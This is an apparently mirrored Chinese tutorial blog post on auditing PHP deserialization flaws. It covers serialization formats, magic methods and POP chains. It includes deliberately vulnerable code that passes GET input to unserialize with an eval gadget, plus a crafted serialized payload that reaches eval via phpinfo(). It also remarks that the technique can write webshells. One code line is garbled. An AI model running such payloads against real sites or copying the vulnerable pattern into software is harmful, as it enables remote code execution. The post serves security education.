zoukankan      html  css  js  c++  java
  • 2020/2/2 PHP代码审计之反序列化

    0x00 序列化与反序列化

    序列化:
    serialize()把对象转换为字节序列的过程称为对象的序列化
    反序列化:
    unserialize()把字节序列恢复为对象的过程称为对象的反序列化

    0x01 序列化

    <?php
    $test1 = "wtz2020";
    $test2 = array("wtz.2020");
    echo serialize($test1);
    ?>
    

    这里就是转化成7个字节序列
    s:strings类型,7:7个字节。

    <?php
    $test1 = "wtz2020";
    $test2 = array("wtz.2020");
    echo serialize($test1);
    echo serialize($test2);
    ?>
    

    a:数组类型
    i:int型

    把数据类型压缩到字符中

    序列化的不同结果

    这里我在前面文章中已经学习过:

    https://www.cnblogs.com/wangtanzhi/p/12193930.html

    protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上*的前缀。这里的  表示 ASCII 码为 0 的字符(不可见字符),而不是  组合。这也许解释了,为什么如果直接在网址上,传递*username会报错,因为实际上并不是,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
    
    private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上的前缀。字符串长度也包括所加前缀的长度。其中  字符也是计算长度的。
    

    举个栗子:

    <?php
    class test{
        private $test1 = "wtz2020";
        public $test2 = "wtz2020";
        protected $test3 = "wtz2020";
    }
    $test = new test();//实例化一个对象
    echo serialize(test);
    ?>
    

    ps:我们在写序列化时基本模板:

    <?php
    class x{
    }
    $x = new x(a);//a通常在上面类中找到
    echo serialize($x)
    ?>
    
    

    0x02 漏洞本质

    unserialize函数的变量可控
    php文件中存在可利用的类,类中有魔术方法

    0x03 漏洞成因

    反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根据不同的代码可以导致各种攻击,如代码注入,SQL注入,目录遍历等等。

    在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 "面向属性编程" ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止
    下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。

    如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

    0x04 魔术方法

    __construct()当一个对象创建时被调用
    
    _destruct()当一个对象销毁时被调用
    __toString()当一个对象被当作一个字符串使用
    __sleep() 在对象在被序列化之前运行
    __wakeup将在序列化之后立即被调用
    

    这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

    0x05漏洞挖掘技巧

    通过审计这些包来找到可利用的 POP链。
    找PHP链的基本思路.
    1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.
    2.追踪调用过程
    3.手工构造 并验证 POP 链
    4.开发一个应用使用该库和自动加载机制,来测试exploit.

    0x06 代码实例

    我们这里写一个php反序列化导致代码执行
    魔术方法使用
    _destruct()
    当一个对象销毁时被调用

    <?php 
    class A{ 
    var $test = "demo"; 
    function __destruct(){ echo $this->test; 
    } } 
    $a = $_GET['test']; 
    $a_unser = unserialize($a); 
    ?>
    

    这里我们只要构造payload:
    序列化是我们之前构造好的就不写了

    http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:5:”hello”;}
    

    就能控制echo出的变量,导致代码执行
    这里我们需要明白要一一对应:
    比如:

    http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:7:”wtz2020”;}
    

    在实际应用中,我们可以通过这种类似的方法来写入webshell,但是有时没有魔法方法使用,那么我们该怎么办呢?

    利用方法如下:
    寻找相同的函数名,把敏感函数和类联系在一起。

    代码:

    <?php
    
    class chybeta {
    var $test;
    function __construct() {
    $this->test = new ph0en1x();
    }
    
    function __destruct() {
    $this->test->action();
    }
    }
    
    class ph0en1x {
    function action() {
    echo "ph0en1x";
    }
    }
    
    class ph0en2x {
    var $test2;
    function action() {
    eval($this->test2);
    }
    }
    
    $class6 = new chybeta();
    
    unserialize(),我们注意这里面的参数是否可控,在传过来之前要过滤一些危险参数$_GET['test']);
    
    ?>
    
    

    本意上,new一个新的chybeta对象后,调用__construct(),其中又new了ph0en1x对象。在结束后会调用__destruct(),其中会调用action(),从而输出 ph0en1x。

    下面是利用过程。构造序列化。

    <?php
    class chybeta {
    var $test;
    
    function __construct() {
    $this->test = new ph0en2x();
    }
    
    }
    class ph0en2x {
    var $test2 = "phpinfo();";
    
    }
    echo serialize(new chybeta());
    ?>
    
    

    得到:

    O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}
    
    

    传给index.php的test参数,利用成功

    0x07 防御方法

    核心函数还是unserialize(),我们注意这里面的参数是否可控,在传过来之前要过滤一些危险参数

    参考链接:
    https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/
    https://www.anquanke.com/post/id/84922

  • 相关阅读:
    取得窗口大小和窗口位置兼容所有浏览器的js代码
    一个简单易用的导出Excel类
    如何快速启动chrome插件
    网页表单设计案例
    Ubuntu下的打包解包
    The source file is different from when the module was built. Would you like the debugger to use it anyway?
    FFisher分布
    kalman filter
    Group delay Matlab simulate
    24位位图格式解析
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12252993.html
Copyright © 2011-2022 走看看